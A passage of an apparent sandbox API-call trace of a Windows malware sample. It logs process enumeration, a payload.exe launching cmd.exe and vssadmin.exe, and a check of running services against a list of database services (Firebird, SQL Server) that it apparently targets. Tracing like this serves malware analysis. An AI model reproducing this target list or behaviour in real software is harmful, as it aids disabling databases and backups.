lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0045.618] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0045.618] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0045.619] lstrlenW (lpString="businesses.exe") returned 14 [0045.619] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0045.619] lstrlenW (lpString="lucky.exe") returned 9 [0045.619] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0045.620] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0045.620] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0045.620] lstrlenW (lpString="healthmanner.exe") returned 16 [0045.620] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0045.620] lstrlenW (lpString="3dftp.exe") returned 9 [0045.620] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0045.621] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0045.621] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0045.621] lstrlenW (lpString="alftp.exe") returned 9 [0045.621] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0045.621] lstrlenW (lpString="barca.exe") returned 9 [0045.622] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0045.622] lstrlenW (lpString="bitkinex.exe") returned 12 [0045.622] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0045.622] lstrlenW (lpString="coreftp.exe") returned 11 [0045.622] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0045.623] lstrlenW (lpString="far.exe") returned 7 [0045.623] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0045.623] lstrlenW (lpString="filezilla.exe") returned 13 [0045.623] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0045.623] lstrlenW (lpString="flashfxp.exe") returned 12 [0045.623] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0045.624] lstrlenW (lpString="fling.exe") returned 9 [0045.624] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0045.624] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0045.624] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0045.625] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0045.625] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0045.625] lstrlenW (lpString="icq.exe") returned 7 [0045.625] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0045.625] lstrlenW (lpString="leechftp.exe") returned 12 [0045.625] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0045.626] lstrlenW (lpString="ncftp.exe") returned 9 [0045.626] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0045.662] lstrlenW (lpString="notepad.exe") returned 11 [0045.662] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0045.662] lstrlenW (lpString="operamail.exe") returned 13 [0045.663] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0045.663] lstrlenW (lpString="pidgin.exe") returned 10 [0045.663] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0045.664] lstrlenW (lpString="scriptftp.exe") returned 13 [0045.664] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0045.664] lstrlenW (lpString="skype.exe") returned 9 [0045.664] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0045.665] lstrlenW (lpString="smartftp.exe") returned 12 [0045.665] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0045.666] lstrlenW (lpString="thunderbird.exe") returned 15 [0045.666] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0045.666] lstrlenW (lpString="totalcmd.exe") returned 12 [0045.666] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0045.667] lstrlenW (lpString="trillian.exe") returned 12 [0045.667] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0045.667] lstrlenW (lpString="webdrive.exe") returned 12 [0045.667] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0045.668] lstrlenW (lpString="whatsapp.exe") returned 12 [0045.668] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0045.669] lstrlenW (lpString="winscp.exe") returned 10 [0045.669] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0045.669] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0045.669] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0045.670] lstrlenW (lpString="active-charge.exe") returned 17 [0045.670] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0045.670] lstrlenW (lpString="accupos.exe") returned 11 [0045.670] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0045.671] lstrlenW (lpString="afr38.exe") returned 9 [0045.671] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0045.671] lstrlenW (lpString="aldelo.exe") returned 10 [0045.671] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0045.672] lstrlenW (lpString="ccv_server.exe") returned 14 [0045.672] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0045.672] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0045.672] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0045.673] lstrlenW (lpString="creditservice.exe") returned 17 [0045.673] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0045.673] lstrlenW (lpString="edcsvr.exe") returned 10 [0045.673] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0045.674] lstrlenW (lpString="fpos.exe") returned 8 [0045.674] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0045.674] lstrlenW (lpString="isspos.exe") returned 10 [0045.674] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0045.675] lstrlenW (lpString="mxslipstream.exe") returned 16 [0045.675] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0045.675] lstrlenW (lpString="omnipos.exe") returned 11 [0045.675] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0045.676] lstrlenW (lpString="spcwin.exe") returned 10 [0045.676] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0045.676] lstrlenW (lpString="spgagentservice.exe") returned 19 [0045.676] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0045.677] lstrlenW (lpString="utg2.exe") returned 8 [0045.677] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0045.677] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0045.677] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0045.678] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0045.678] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0045.678] lstrlenW (lpString="notebook.exe") returned 12 [0045.678] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0045.679] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0045.679] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0045.679] lstrlenW (lpString="current.exe") returned 11 [0045.679] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.680] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.680] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.680] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.680] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.680] lstrlenW (lpString="taskhost.exe") returned 12 [0045.680] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0045.681] lstrlenW (lpString="payload.exe") returned 11 [0045.681] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0045.681] lstrlenW (lpString="cmd.exe") returned 7 [0045.681] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.682] lstrlenW (lpString="conhost.exe") returned 11 [0045.682] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0045.682] lstrlenW (lpString="vssadmin.exe") returned 12 [0045.682] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0045.683] lstrlenW (lpString="VSSVC.exe") returned 9 [0045.683] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.683] lstrlenW (lpString="svchost.exe") returned 11 [0045.683] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0045.683] CloseHandle (hObject=0x1a0) returned 1 [0045.683] Sleep (dwMilliseconds=0x1f4) [0046.517] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8ff988 [0046.523] EnumServicesStatusExW (in: hSCManager=0x8ff988, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0046.523] GetLastError () returned 0xea [0046.523] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0046.523] EnumServicesStatusExW (in: hSCManager=0x8ff988, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0046.527] CloseServiceHandle (hSCObject=0x8ff988) returned 1 [0046.528] lstrlenW (lpString="Appinfo") returned 7 [0046.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0046.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0046.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0046.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0046.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0046.528] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0046.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.528] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0046.528] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0046.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0046.528] lstrlenW (lpString="AudioSrv") returned 8 [0046.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0046.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0046.528] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0046.528] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0046.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0046.528] lstrlenW (lpString="BFE") returned 3 [0046.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 